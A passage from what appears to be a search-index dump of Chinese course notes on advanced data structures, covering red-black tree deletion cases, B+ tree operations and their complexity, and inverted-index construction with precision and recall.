<p>\u5982\u679cX\u53ea\u6709\u4e00\u4e2a\u5e26\u6709\u952e\u503c\u7684\u5b50\u8282\u70b9,\u6b64\u65f6\u5982\u679cX\u662f\u7ea2\u8272,\u90a3\u4e48\u4e07\u4e8b\u5927\u5409,\u76f4\u63a5\u5220\u9664,\u8ba9\u5b83\u7684\u5b50\u8282\u70b9\u63a5\u66ff\u5b83\u7684\u4f4d\u7f6e,\u5982\u679cX\u662f\u9ed1\u8272,\u63a5\u66ff\u4e0a\u6765\u7684\u7ed3\u70b9\u662f\u7ea2\u8272,\u76f4\u63a5\u67d3\u9ed1\u5373\u53ef,\u5982\u679c\u63a5\u66ff\u7684\u662fNiL\u7ed3\u70b9(Case 1),\u6216\u8005\u63a5\u66ff\u4e0a\u6765\u7684\u662f\u9ed1\u8272\u7ed3\u70b9(Case 2-2),\u6211\u4eec\u8be5\u600e\u4e48\u529e</p> <p>\u89e3\u51b3\u65b9\u6cd5\u5341\u5206\u806a\u660e,\u76f4\u63a5\u7ed9\u9ed1\u8272\u7ed3\u70b9(\u5305\u62ecNiL\u7ed3\u70b9)\u518d\u52a0\u4e0a\u4e00\u91cd\u9ed1\u8272,\u53d8\u6210 \u53cc\u9ed1\u7ed3\u70b9 .\u6b64\u65f6\u7b2c\u4e94\u6761\u6027\u8d28\u6ca1\u6709\u88ab\u7834\u574f,\u4f46\u662f\u6211\u4eec\u51ed\u7a7a\u591a\u4e86\u4e00\u79cd\u989c\u8272,\u8fd9\u81ea\u7136\u662f\u4e0d\u884c\u7684,\u6240\u4ee5\u6211\u4eec\u7684\u60f3\u6cd5\u662f,\u5c06\u8fd9\u4e00\u91cd\u9ed1\u8272\u4f20\u9012\u7ed9\u4e0a\u5c42\u7684\u4e00\u4e2a\u7ea2\u8272\u7ed3\u70b9,\u6216\u8005\u6ca1\u627e\u5230,\u76f4\u63a5\u5f80\u4e0a\u63a8\u5230\u6839\u8282\u70b9,\u8ba9\u6839\u7ed3\u70b9\u53d8\u6210\u53cc\u9ed1,\u800c\u6839\u8282\u70b9\u4ece\u53cc\u9ed1\u53d8\u6210\u9ed1\u8272\u662f\u5b8c\u5168\u6ca1\u6709\u5f71\u54cd\u7684,\u8fd9\u6837\u5c31\u89e3\u51b3\u4e86\u95ee\u9898</p> <p>\u6211\u4eec\u53ef\u4ee5\u628a\u53cc\u9ed1\u4f20\u9012\u7684\u60c5\u51b5\u5206\u4e3a\u4ee5\u4e0b\u56db\u7c7b,\u7528\u5b50\u6811\u4ee3\u8868\u66f4\u4e00\u822c\u7684\u60c5\u51b5(\u53ef\u80fd\u53d1\u751f\u5728\u4f20\u9012\u7684\u8fc7\u7a0b\u4e2d,X\u4ee3\u8868\u53cc\u9ed1\u7ed3\u70b9)</p> <p>\u7ea2\u8272\u5462,\u6551\u4e00\u4e0b\u554a</p> <ul> <li>\u60c5\u51b51: X\u6709\u7ea2\u8272\u7684\u5144\u5f1f</li> </ul> <p>\u6b64\u65f6\u7236\u7ed3\u70b9\u4e00\u5b9a\u662f\u9ed1\u8272,\u6211\u4eec\u7684\u60f3\u6cd5\u5f88\u7b80\u5355\uff0c\u5144\u5f1f\u662f\u7ea2\u8272\uff0c\u90a3\u5c31\u5e0c\u671b\u5144\u5f1f\u80fd\u4e24\u808b\u63d2\u5200\uff0c\u628a\u5144\u5f1f\u8f6c\u4e0a\u53bb\uff0c\u4e3a\u4e86\u4fdd\u6301\u7ea2\u9ed1\u6811\u6027\u8d28\uff0c\u5f88\u53ef\u60dc\u53ea\u80fd\u628a\u7236\u4eb2\u67d3\u7ea2\uff0c\u81ea\u5df1\u8fd8\u627f\u53d7\u53cc\u9ed1 debuff\u3002\u4f46\u662f\u597d\u5904\u5728\u4e8e\uff0c\u8fd9\u4e2a\u95ee\u9898\u8f6c\u5316\u4e3a\u4e86\u63a5\u4e0b\u6765\u7684\u60c5\u51b5234\u4e2d\u7684\u4e00\u79cd,\u6b64\u65f6X\u7684\u5144\u5f1f\u4e00\u5b9a\u662f\u9ed1\u8272,\u56e0\u4e3a\u8fd9\u4e2a\u5144\u5f1f\u4e4b\u524d\u662fX\u7ea2\u8272\u5144\u5f1f\u7684\u5b69\u5b50:</p> <ul> <li>\u60c5\u51b52:X \u7684\u5144\u5f1f\u662f\u9ed1\u8272\u7684\uff0c\u4e14\u5144\u5f1f\u7684\u4e24\u4e2a\u5b69\u5b50\u90fd\u662f\u9ed1\u8272\u7684</li> </ul> <p>Note</p> <p>\u6839\u636e\u8ddd\u79bb\u5212\u5206\u4e3a\u8fd1\u3001\u8fdc\u4f84\u5b50\uff0c\u7528\u8fdc\u8fd1\u800c\u4e0d\u7528\u5de6\u53f3\u662f\u4e3a\u4e86\u5bf9\u79f0\u60c5\u51b5\u4e0d\u6df7\u6dc6\u5de6\u53f3</p> <p>\u6b64\u65f6\u6ca1\u6709\u7ea2\u8272\u80fd\u6551\u4e00\u4e0b\u4e86,\u6211\u4eec\u5c31\u628a\u5e0c\u671b\u5bc4\u6258\u4e8e\u7236\u8282\u70b9,\u56e0\u4e3a\u6839\u8282\u70b9\u4e00\u5b9a\u80fd\u6551,\u6240\u4ee5\u6b64\u65f6\u7684\u505a\u6cd5\u5c31\u662f\u5c06\u8fd9\u4e00\u5c42\u7684\u9ed1\u8272\u5f80\u4e0a\u63a8,\u5c06X\u7684\u4e00\u5c42\u9ed1\u8272\u53bb\u6389,\u5c06\u5144\u5f1f\u67d3\u7ea2,\u7236\u4eb2\u7ed9\u4e00\u5c42\u9ed1\u8272,\u5982\u679c\u7236\u4eb2\u662f\u7ea2\u8272,\u90a3\u4e48\u76f4\u63a5\u67d3\u9ed1\u5373\u53ef,\u5982\u679c\u7236\u4eb2\u662f\u9ed1\u8272,\u90a3\u4e48\u5c31\u53c8\u591a\u4e86\u4e00\u5c42\u9ed1\u8272</p> <p>Key-point</p> <p>\u5982\u679c\u60c5\u51b52\u662f\u60c5\u51b51\u6f14\u53d8\u800c\u6765\u7684,\u90a3\u4e48X\u7684\u7236\u8282\u70b9\u4e00\u5b9a\u662f\u7ea2\u8272,\u6b64\u65f6\u95ee\u9898\u53ef\u4ee5\u76f4\u63a5\u89e3\u51b3</p> <ul> <li>\u60c5\u51b53:X \u7684\u5144\u5f1f\u662f\u9ed1\u8272\u7684\uff0c\u4e14\u8fd1\u4f84\u5b50\u662f\u7ea2\u8272,\u8fdc\u4f84\u5b50\u662f\u9ed1\u8272</li> </ul> <p>\u8fd9\u65f6\u6211\u4eec\u501f\u7528 AVL \u6811\u7684\u60f3\u6cd5\uff0c\u7ea2\u8272\u5728\u7236\u4eb2 P \u7684 RL \u4f4d\u7f6e\uff0c\u56e0\u6b64\u505a single rotation \u540e\u4f1a\u53d8\u6210\u60c5\u51b5 4 \u7684 RR \u7684\u60c5\u51b5</p> <p>Note</p> <p>\u4e5f\u5c31\u610f\u5473\u7740\u7ea2\u8272\u8981\u7ed9\u5230 RR \u7684\u4f4d\u7f6e\uff0c\u8fd9\u91cc\u6709\u4e00\u4e2a\u989c\u8272\u7684\u53d8\u5316\uff0c\u7528 RR \u8bb0 \u5fc6\u5f88\u65b9\u4fbf</p> <ul> <li>\u60c5\u51b54:X \u7684\u5144\u5f1f\u662f\u9ed1\u8272\u7684\uff0c\u4e14\u8fdc\u4f84\u5b50\u662f\u7ea2\u8272,\u8fd1\u4f84\u5b50\u662f\u4efb\u610f\u989c\u8272</li> </ul> <p>\u6b64\u65f6\u5bf9\u5e94 AVL \u6811\u7684 RR\uff0c\u4e8e\u662f\u518d\u4e00\u6b21 single rotation \u5373\u53ef\u628a\u53cc\u9ed1\u7684\u4e00\u91cd\u9ed1\u4e22\u7ed9\u7ea2\u8272\u8fdc\u4f84\u5b50\uff08\u5373 X \u548c N2 \u90fd\u53d8\u6210\u9ed1\u8272\uff09\uff0c\u4f46\u8981\u6ce8\u610f\u4e3a\u4e86\u4fdd\u8bc1\u7ea2\u9ed1\u6811\u6027\u8d28\u7684\u989c\u8272\u53d8\u5316\uff0c\u5982\u679c P \u4e00\u5f00\u59cb\u662f\u9ed1\u8272,\u90a3\u4e48\u65cb\u8f6c\u524d\u540e\u5230N2\u7684\u8def\u5f84\u4e0a\u9ed1\u8272\u7ed3\u70b9\u6570\u76ee\u4e0d\u53d8\uff0c\u90fd\u662f2,\u5982\u679cP\u662f\u7ea2\u8272,\u90a3\u4e48\u65cb\u8f6c\u524d\u540e\u5230N2\u7684\u8def\u5f84\u4e0a\u9ed1\u8272\u7ed3\u70b9\u6570\u76ee\u589e\u591a\uff0c\u6b64\u65f6\u9700\u8981\u5c06S\u67d3\u7ea2\uff0cP\u67d3\u9ed1,\u603b\u7684\u6765\u8bf4,\u53ef\u4ee5\u4ea4\u6362P\u548cS\u7684\u989c\u8272</p> <p>\u5434\u4e00\u822a\u5b66\u957f\u7684ADS\u8bb2\u4e49</p> <p>\u9996\u5148\u6211\u4eec\u6700\u591a\u7528 \\(O(\\log n)\\) \u7684\u65f6\u95f4\u627e\u5230\u5220\u9664\u7ed3\u70b9\uff0c \u6700\u591a 1 \u6b21\u4ea4\u6362\u548c 1 \u4e2a\u5220\u9664\u7684\u64cd\u4f5c\u3002\u63a5\u4e0b\u6765\u5982\u679c\u5220\u9664\u540e\u6ca1\u6709\u95ee\u9898\u5219\u5230\u6b64\u7ed3\u675f\uff1b\u5426\u5219\u6839\u636e\u5206\u6790\uff0c\u60c5\u51b5 1\u30013\u548c 4 \u5728\u95ee\u9898\u89e3\u51b3\u524d\u6700\u591a\u8fdb\u53bb\u4e00\u6b21\uff0c\u56e0\u4e3a 4 \u53ef\u4ee5\u76f4\u63a5\u89e3\u51b3\uff0c3 \u76f4\u63a5\u8fdb\u5165 4 \u7136\u540e\u89e3\u51b3\uff0c1 \u5982\u679c\u8fdb\u5165 3 \u548c 4\u4e5f\u53ef\u4ee5\u9a6c\u4e0a\u89e3\u51b3\uff0c\u8fdb\u5165 2 \u540e\u4e5f\u56e0\u4e3a\u7236\u7ed3\u70b9\u662f\u7ea2\u8272\u53ef\u4ee5\u9a6c\u4e0a\u89e3\u51b3\u3002\u56e0\u6b64\u5173\u952e\u5728\u4e8e\u60c5\u51b5 2 \u53ef\u80fd\u51fa\u73b0\u5f88\u591a\u6b21\uff0c\u4f46\u6700\u591a\u4e5f\u53ea\u662f\u6811\u9ad8 \\(O(\\log n)\\) \u6b21\uff0c\u56e0\u4e3a\u6bcf\u6b21\u90fd\u4f1a\u4e0a\u63a8 1 \u683c\u3002\u603b\u800c\u8a00\u4e4b\uff0c\u56e0\u4e3a\u60c5\u51b5 1\u30013 \u548c 4 \u5728\u95ee\u9898\u89e3\u51b3\u524d\u6700\u591a\u8fdb\u53bb\u4e00\u6b21\uff0c\u6240\u4ee5\u6700\u591a 3 \u6b21\u65cb\u8f6c\u52a0\u4e0a \\(O(\\log n)\\) \u6b21\u989c\u8272\u8c03\u6574\u53ef\u4ee5\u89e3\u51b3\u95ee\u9898</p> Question <p>\u8003\u8651\u5c06\u4e00\u4e2a\u7ed3\u70b9 X \u63d2\u5165\u7ea2\u9ed1\u6811 T0\uff0c\u5f97\u5230\u7ea2\u9ed1\u6811 T1\uff0c\u7136\u540e\u7d27\u63a5\u7740\u4e0b\u4e00\u6b65\u64cd\u4f5c\u53c8\u7acb\u523b\u5c06 X \u4ece T1 \u5220\u9664\u5f97\u5230 T2\uff0c\u8bf7\u95ee T0 \u548c T2 \u662f\u5426\u4e00\u5b9a\u4e00\u6837\uff1f\u82e5\u662f\uff0c\u8bf7\u7ed9\u51fa\u6e05\u6670\u7684\u8bc1\u660e\uff1b\u82e5\u4e0d\u662f\uff0c\u8bf7\u4e3e\u51fa\u53cd\u4f8b\u3002</p> <p></p>"},{"location":"NOTE/ADS/wk2/#b_1","title":"B+\u6811","text":"<p>Definition</p> <p>A B+ tree of order ** \\(M\\) ** is a tree with the following properties:</p> <ul> <li>The root is either a leaf or has between \\(2\\) and \\(M\\) children.</li> <li>All noneleaf nodes (except the root) have between $ \\lceil \\frac{M}{2} \\rceil $ and \\(M\\) children.</li> <li>All leaves are at the same depth.</li> </ul> <p>\u4e0e\u7ea2\u9ed1\u6811\u7684\u5b9a\u4e49\u6bd4\u8d77\u6765\uff0cB+\u6811\u7684\u7684\u5b9a\u4e49\u5c31\u663e\u5f97\u66f4\u4e3a\u7b80\u5355\uff0c\u6211\u4eec\u53ea\u9700\u8981\u6bcf\u4e2a\u7ed3\u70b9\u4e2d\u50a8\u5b58\u7684\u952e\u503c\u4e2a\u6570\u7684\u9650\u5236\u548c\u5b69\u5b50\u4e2a\u6570\u7684\u9650\u5236\uff0c\u4ee5\u53ca\u6240\u6709\u952e\u503c\u90fd\u5728\u53f6\u8282\u70b9\u4e2d\u6709\u5b58\u50a8\u3002</p> <p>Question</p> <ul> <li>\u4e3a\u4ec0\u4e48\u6839\u8282\u70b9\u7684\u5b69\u5b50\u4e2a\u6570\u4ece2\u5f00\u59cb\uff1f</li> </ul> <p>\u56e0\u4e3a\u4e00\u5f00\u59cb\u63d2\u5165\u5230\u6839\u7ed3\u70b9\u7206\u70b8\u65f6\uff0c\u6839\u8282\u70b9\u53ea\u80fd\u5206\u88c2\u6210\u4e24\u4e2a\u5b69\u5b50</p> <ul> <li>\u4e3a\u4ec0\u4e48\u975e\u53f6\u5b50\u7ed3\u70b9\u7684\u5b69\u5b50\u4e2a\u6570\u8981\u6c42\u662f \\(\\lceil \\frac{M}{2} \\rceil\\) \uff1f</li> </ul> <p>\u662f\u56e0\u4e3a\u63d2\u5165\u5230\u7206\u70b8\u7684\u65f6\u5019\u5c31\u662f\u5206\u88c2\u5230\u8fd9\u4e2a\u6570\u91cf </p> <ul> <li>\u6ce8\u610f\u975e\u53f6\u5b50\u8282\u70b9\u5b69\u5b50\u4e2a\u6570\u7684\u9650\u5236\u662f \\(\\lceil \\frac{M}{2} \\rceil\\)\uff0c\u5982\u679c\u95ee\u7684\u662fkey\u7684\u4e2a\u6570\uff0c\u90a3\u4e48\u662f \\(\\lceil \\frac{M}{2} \\rceil-1\\)</li> </ul>"},{"location":"NOTE/ADS/wk2/#b_2","title":"B+\u6811\u641c\u7d22","text":"<p>\u6839\u636e B+ \u6811\u5b9a\u4e49\uff0c\u9700\u8981\u5728\u975e\u53f6\u7ed3\u70b9\u5c42\u9010\u5c42\u548c\u5b58\u50a8\u7684\u952e\u503c\u6bd4\u8f83\u4ece\u800c\u786e\u5b9a\u53bb\u54ea\u4e00\u4e2a\u5b69\u5b50\u7ed3\u70b9\u3002 \u56e0\u6b64\u65f6\u95f4\u590d\u6742\u5ea6\u6709\u4e24\u4e2a\u91cd\u8981\u56e0\u7d20\uff1a\u4e00\u4e2a\u662f\u6811\u7684\u9ad8\u5ea6\uff0c\u53e6\u4e00\u4e2a\u662f\u6bcf\u4e00\u5c42\u641c\u7d22\u9700\u8981\u7684\u65f6\u95f4\u3002\u6811\u7684\u9ad8\u5ea6\u975e\u5e38\u597d\u8ba1\u7b97\uff0c\u6700\u5dee\u7684\u60c5\u51b5\u4e5f\u662f\u6bcf\u4e2a\u7ed3\u70b9\u90fd\u5b58 \\(\\lceil \\frac{M}{2} \\rceil\\) \u4e2a\u7ed3\u70b9\uff0c\u56e0\u6b64\u6700\u5927\u9ad8\u5ea6\u662f \\(O(\\log_{\u2308M/2\u2309} N)\\) \u7684\u3002 \u7136\u540e\u6bcf\u4e00\u5c42\u56e0\u4e3a\u952e\u503c\u662f\u6392\u597d\u5e8f\u7684\uff0c\u56e0\u6b64\u7528\u4e8c\u5206\u67e5\u627e\u627e\u5230\u8981\u53bb\u54ea\u4e2a\u5b69\u5b50\u7ed3\u70b9\uff0c\u590d\u6742\u5ea6\u4e3a \\(O(\\log_2 M)\\)\uff0c\u7efc\u5408\u53ef\u5f97\u641c\u7d22\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a</p> \\[     O(\\log_2M \\cdot \\log_{\u2308M/2\u2309} N) = (\\log_2 \\frac{M}{2}+1) \\cdot \\frac{\\log_2 N}{\\log_2 \\frac{M}{2}} = O(\\log N) \\]"},{"location":"NOTE/ADS/wk2/#b_3","title":"B+\u6811\u63d2\u5165","text":"<p>\u4f2a\u4ee3\u7801\u5982\u4e0b</p> <pre><code>Btree  Insert ( ElementType X,  Btree T ) \n{ Search from root to leaf for X and find the proper leaf node;\nInsert X;\nwhile ( this node has M+1 keys ) \n{split it into 2 nodes with (M+1)/2 and (M+1)/2  keys,\n respectively;\n if (this node is the root)\n create a new root with two children;\ncheck its parent;\n}\n}\n</code></pre> <p>Key-point</p> <p>\u5206\u88c2\u65f6\uff0c\u4ee5\u53f3\u534a\u90e8\u5206\u7684\u6700\u5c0f\u5b69\u5b50\u4f5c\u4e3a\u5206\u88c2\u540e\u7684\u7d22\u5f15\uff0c\u4f8b\u5982 2-3 \u6811\uff0c\u6839\u8282\u70b9\u4e3a\uff081,2,3\uff09,\u63d2\u51654\u4e4b\u540e\uff0c\u5206\u88c2\u4e3a\uff081,2\uff09\u548c\uff083,4\uff09,\u6839\u8282\u70b9\u53d8\u4e3a3\uff0c\u5de6\u5b69\u5b50\u4e3a\uff081,2\uff09,\u53f3\u5b69\u5b50\u4e3a(3,4)</p> <p>\u5c31\u662f\u627e\u5230\u63d2\u5165\u7684\u4f4d\u7f6e\uff0c\u7136\u540e\u63d2\u5165\u770b\u7ed3\u70b9\u662f\u5426\u653e\u5f97\u4e0b\uff0c\u653e\u4e0d\u4e0b\u5c31\u5206\u88c2\uff0c\u5982\u679c\u5206\u88c2\u540e\u5b50\u7ed3\u70b9\u4e2a\u6570\u4e5f\u8fc7\u591a\u5219\u7ee7\u7eed\u5411\u4e0a\u4e00\u5c42\u5206\u88c2\uff0c\u76f4\u5230\u6839\u7ed3\u70b9\u5b69\u5b50\u7206\u6ee1\u5219\u5c06\u6839\u7ed3\u70b9\u5206 \u88c2\u5e76\u751f\u6210\u65b0\u7684\u6839\u7ed3\u70b9\uff0c\u5f53\u7136\u8fd8\u8981\u6ce8\u610f\u5373\u4f7f\u4e0d\u5206\u88c2\u4e5f\u53ef\u80fd\u9700\u8981\u6309 B+ \u6811\u5b9a\u4e49\u66f4\u65b0\u4e0a\u5c42\u7ed3\u70b9\u3002\u6211\u4eec\u77e5\u9053\u6811\u6709 $O(\\log_{\u2308M/2\u2309} N) $\u5c42\uff0c\u6bcf\u5c42\u64cd\u4f5c\u6700\u591a\u662f \\(O(M)\\) \u7684\uff08\u5982\u66f4\u65b0\u7ed3\u70b9\u6216\u8005\u5206\u88c2\uff0c\u65e0\u975e\u5c31\u662f\u66f4\u6539 \\(O(M)\\) \u4e2a \u952e\u503c\u4ee5\u53ca\u4fee\u6539 \\(O(M)\\) \u4e2a\u7236\u5b50\u6307\u9488\uff09\uff0c\u56e0\u6b64\u6574\u4f53\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a </p> \\[O(M \\cdot \\log_{\u2308M/2\u2309} N) = O(\\frac{M}{\\log M} \\log N)\\]"},{"location":"NOTE/ADS/wk2/#b_4","title":"B+\u6811\u5220\u9664","text":"<p>\u60f3\u6cd5\u5f88\u7b80\u5355\uff0c\u56e0\u4e3a\u53ea\u9700\u628a\u63d2\u5165\u65f6\u5206\u88c2\u7ed3\u70b9\u6539\u4e3a\u5408\u5e76\u952e\u503c\u6216\u5b69\u5b50\u6570\u91cf\u5c11\u7684 \u7ed3\u70b9\uff0c\u5f53\u7136\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u4e3a\u4e86\u786e\u4fdd\u5408\u5e76\u540e\u952e\u503c\u6570\u91cf\u4e0d\u4f1a\u8d85\u8fc7 M \u4e14\u51cf\u5c11\u5408\u5e76\u6b21\u6570\uff0c\u53ef\u4ee5\u5148\u770b\u770b\u5144 \u5f1f\u7ed3\u70b9\u662f\u4e0d\u662f\u952e\u503c\u8fd8\u5f88\u591a\uff0c\u591a\u7684\u8bdd\u62ff\u4e00\u4e2a\u8fc7\u6765\u5373\u53ef\uff0c\u4e8b\u5b9e\u4e0a\u6574\u4f53\u65f6\u95f4\u590d\u6742\u5ea6\u548c\u63d2\u5165\u5206\u6790\u7c7b\u4f3c\uff0c\u4e5f \u4e3a  \\(O(\\frac{M}{\\log M} \\log N)\\)</p>"},{"location":"NOTE/ADS/wk3_1/","title":"\u5012\u6392\u7d22\u5f15","text":"<p> \u7ea6 716 \u4e2a\u5b57  25 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 3 \u5206\u949f</p> <p>\u5012\u6392\u6587\u4ef6\u662f\u4e00\u79cd\u6570\u636e\u7ed3\u6784\uff0c\u5b83\u5b58\u50a8\u4e86\u67d0\u4e2a\u7279\u5b9a\u8bcd\u6c47\u5728\u6587\u672c\u4e2d\u6240\u6709\u51fa\u73b0\u4f4d\u7f6e\u7684\u7d22\u5f15\u3002\u8fd9\u4e9b\u7d22\u5f15\u53ef\u4ee5\u662f\u9875\u9762\u7f16\u53f7\u3001\u884c\u53f7\u6216\u6587\u672c\u4e2d\u7684\u5177\u4f53\u4f4d\u7f6e\u7b49\u3002\u7b80\u800c\u8a00\u4e4b\uff0c\u5012\u6392\u6587\u4ef6\u5c31\u662f\u4e00\u79cd\u8bb0\u5f55\u4e86\u8bcd\u6c47\u51fa\u73b0\u4f4d\u7f6e\u7684\u5730\u56fe\uff0c\u4fbf\u4e8e\u5feb\u901f\u68c0\u7d22\u5230\u8be5\u8bcd\u6c47\u5728\u6587\u6863\u4e2d\u7684\u6240\u6709\u51fa\u73b0\u70b9\u3002</p> <p>\u50a8\u5b58\u5176\u51fa\u73b0\u7684\u9891\u7387\u662f\u56e0\u4e3a\u4ece\u51fa\u73b0\u6b21\u6570\u8f83\u5c11\u7684\u8bcd\u6c47\u4e2d\u627e\u5230\u7684\u6587\u6863\u66f4\u6709\u53ef\u80fd\u662f\u76f8\u5173\u6587\u6863\u3002\u800c\u4e14\uff0c\u51fa\u73b0\u6b21\u6570\u8f83\u5c11\u7684\u8bcd\u6c47\u66f4\u6709\u53ef\u80fd\u662f\u7279\u5b9a\u7684\u8bcd\u6c47\uff0c\u56e0\u6b64\u66f4\u6709\u53ef\u80fd\u662f\u76f8\u5173\u6587\u6863\u3002</p> <p>\u6784\u5efa\u5012\u6392\u7d22\u5f15\uff1a <pre><code>while ( read a document D ) {\n    while ( read a term T in D ) {\n        if ( Find( Dictionary, T ) == false )\n            Insert( Dictionary, T );\n        Get T\u2019s posting list;\n        Insert a node to T\u2019s posting list;\n    }\n}\nWrite the inverted index to disk;\n</code></pre></p> <p>\u9700\u8981\u8003\u8651\u5f88\u591a\u95ee\u9898</p> <ul> <li> <p>Steaming: \u8bcd\u6c47\u7684\u53d8\u5f62\u95ee\u9898\uff0c\u5982\u201crun\u201d\u548c\u201crunning\u201d\u662f\u540c\u4e00\u4e2a\u8bcd\u6c47\u7684\u4e0d\u540c\u5f62\u5f0f\u3002\u6ca1\u5fc5\u8981\u5206\u522b\u50a8\u5b58</p> </li> <li> <p>Stop words\uff1a\u5728\u641c\u7d22\u5f15\u64ce\u4e2d\u6ca1\u6709\u5b9e\u9645\u610f\u4e49\u7684\u8bcd\u6c47\uff0c\u5982\u201ca\u201d\u3001\u201can\u201d\u3001\u201cthe\u201d\u7b49\u3002\u5728\u5012\u6392\u6587\u4ef6\u4e2d\uff0c\u8fd9\u4e9b\u8bcd\u6c47\u7684\u50a8\u5b58\u4f1a\u5360\u7528\u5927\u91cf\u7684\u7a7a\u95f4\uff0c\u800c\u4e14\u5bf9\u641c\u7d22\u7ed3\u679c\u6ca1\u6709\u5b9e\u9645\u610f\u4e49\u3002</p> </li> <li> <p>\u641c\u7d22\u7684\u65b9\u5f0f\uff1asearch\u6811\u3001\u54c8\u5e0c\u8868\uff1b\u6811\u67e5\u8be2\u6bd4\u8f83\u6162\uff0c\u8303\u56f4\u67e5\u8be2\u6bd4\u8f83\u5757\uff1b\u54c8\u5e0c\u8868\u67e5\u8be2\u6bd4\u8f83\u5feb\uff0c\u4f46\u662f\u8303\u56f4\u67e5\u8be2\u6bd4\u8f83\u6162\uff0c\u800c\u4e14\u9700\u8981\u8003\u8651\u54c8\u5e0c\u51b2\u7a81\u7684\u95ee\u9898\u3002</p> </li> <li> <p>\u5185\u5b58\u7ba1\u7406</p> </li> </ul> <pre><code>  BlockCnt = 0; \nwhile ( read a document D ) {\n  while ( read a term T in D ) {\n    if ( out of memory ) {\n      Write BlockIndex[BlockCnt] to disk;\n      BlockCnt ++;\n      FreeMemory;\n    }\n    if ( Find( Dictionary, T ) == false )\n      Insert( Dictionary, T );\n    Get T\u2019s posting list;\n    Insert a node to T\u2019s posting list;\n  }\n}\nfor ( i=0; i&lt;BlockCnt; i++ )\nMerge( InvertedIndex, BlockIndex[i] );\n</code></pre> <ul> <li>\u5206\u5e03\u5f0f\u7d22\u5f15\uff1a\u5c06\u5012\u6392\u7d22\u5f15\u5206\u5e03\u5728\u591a\u4e2a\u670d\u52a1\u5668\u4e0a\uff0c\u6bcf\u4e2a\u670d\u52a1\u5668\u8d1f\u8d23\u4e00\u90e8\u5206\u7d22\u5f15\u3002\u8fd9\u6837\u53ef\u4ee5\u63d0\u9ad8\u641c\u7d22\u7684\u6548\u7387\uff0c\u51cf\u5c11\u5355\u4e2a\u670d\u52a1\u5668\u7684\u8d1f\u8f7d\u3002</li> </ul> <ul> <li>\u538b\u7f29\u5b58\u50a8</li> </ul> <p>\u5c06stop words\u53bb\u6389\uff0c\u5b58\u50a8\u65f6\u5b58\u50a8\u6bcf\u4e2a\u5355\u8bcd\u7684\u957f\u5ea6\u800c\u4e0d\u662f\u5176\u9996\u5b57\u6bcd\u51fa\u73b0\u7684\u4f4d\u7f6e\uff0c\u8fd9\u6837\u53ef\u4ee5\u907f\u514d\u5927\u6570\u5b57\u7684\u5b58\u50a8\u3002</p> <ul> <li>\u6587\u6863\u9608\u503c\u7684\u63a7\u5236</li> </ul> <ol> <li> <p>\u6587\u6863\u9608\u503c\u63a7\u5236\uff1a</p> <ul> <li>\u53ea\u68c0\u7d22\u6309\u7167\u6743\u91cd\u6392\u540d\u7684\u524d <code>x</code> \u4e2a\u6587\u6863\u3002</li> <li>\u4e0d\u9002\u7528\u4e8e\u5e03\u5c14\u67e5\u8be2\uff0c\u56e0\u4e3a\u5e03\u5c14\u67e5\u8be2\u901a\u5e38\u9700\u8981\u8fd4\u56de\u6240\u6709\u5339\u914d\u7684\u6587\u6863\uff0c\u800c\u4e0d\u662f\u6309\u76f8\u5173\u6027\u6392\u5e8f\u7684\u5b50\u96c6\u3002</li> <li>\u7f3a\u70b9\u662f\u7531\u4e8e\u622a\u65ad\u53ef\u80fd\u4f1a\u9057\u6f0f\u4e00\u4e9b\u76f8\u5173\u7684\u6587\u6863\uff0c\u5373\u53ea\u9009\u62e9\u6392\u540d\u9760\u524d\u7684\u6587\u6863\uff0c\u53ef\u80fd\u4f1a\u5ffd\u7565\u91cd\u8981\u7684\u6587\u6863\u3002</li> </ul> </li> <li> <p>\u67e5\u8be2\u9608\u503c\u63a7\u5236\uff1a</p> <ul> <li>\u5c06\u67e5\u8be2\u8bcd\u6309\u7167\u8bcd\u9891\u5347\u5e8f\u6392\u5217\uff08\u4ece\u6700\u4e0d\u5e38\u89c1\u7684\u8bcd\u5230\u6700\u5e38\u89c1\u7684\u8bcd\uff09\u3002</li> <li>\u7cfb\u7edf\u6839\u636e\u539f\u59cb\u67e5\u8be2\u8bcd\u7684\u67d0\u4e2a\u767e\u5206\u6bd4\u8fdb\u884c\u641c\u7d22\u3002\u56fe\u4e2d\u663e\u793a\u4e86\u6309 20%\u300140%\u300180% \u7684\u6bd4\u4f8b\u4f7f\u7528\u67e5\u8be2\u8bcd\uff08\u4ece T1 \u5230 T10\uff09</li> </ul> </li> </ol> <p>\u641c\u7d22\u7684\u6027\u80fd\u8861\u91cf\u6307\u6807\u6709\u4e24\u4e2a\uff1a\u53ec\u56de\u7387**\u548c**\u51c6\u786e\u7387\u3002\u53ec\u56de\u7387(\u80fd\u641c\u7d22\u5230\u591a\u5c11)\u662f\u6307\u68c0\u7d22\u5230\u7684\u76f8\u5173\u6587\u6863\u6570\u4e0e\u7cfb\u7edf\u4e2d\u6240\u6709\u76f8\u5173\u6587\u6863\u6570\u7684\u6bd4\u503c\uff0c\u51c6\u786e\u7387(\u6b63\u786e\u7684\u662f\u591a\u5c11)\u662f\u6307\u68c0\u7d22\u5230\u7684\u76f8\u5173\u6587\u6863\u6570\u4e0e\u68c0\u7d22\u5230\u7684\u6587\u6863\u603b\u6570\u7684\u6bd4\u503c\u3002</p> Relevant Irrelevant Retrieved \\(R_R\\) \\(I_R\\) Not Retrieved \\(R_N\\) \\(I_N\\) <p>Perscision = \\(\\dfrac{R_R}{R_R+I_R}\\)</p> <p>Recall = \\(\\dfrac{R_R}{R_R+R_N}\\)</p>"},{"location":"NOTE/ADS/wk3_2/","title":"\u5de6\u5f0f\u5806\u4e0e\u659c\u5806","text":"<p> \u7ea6 3467 \u4e2a\u5b57  78 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 13 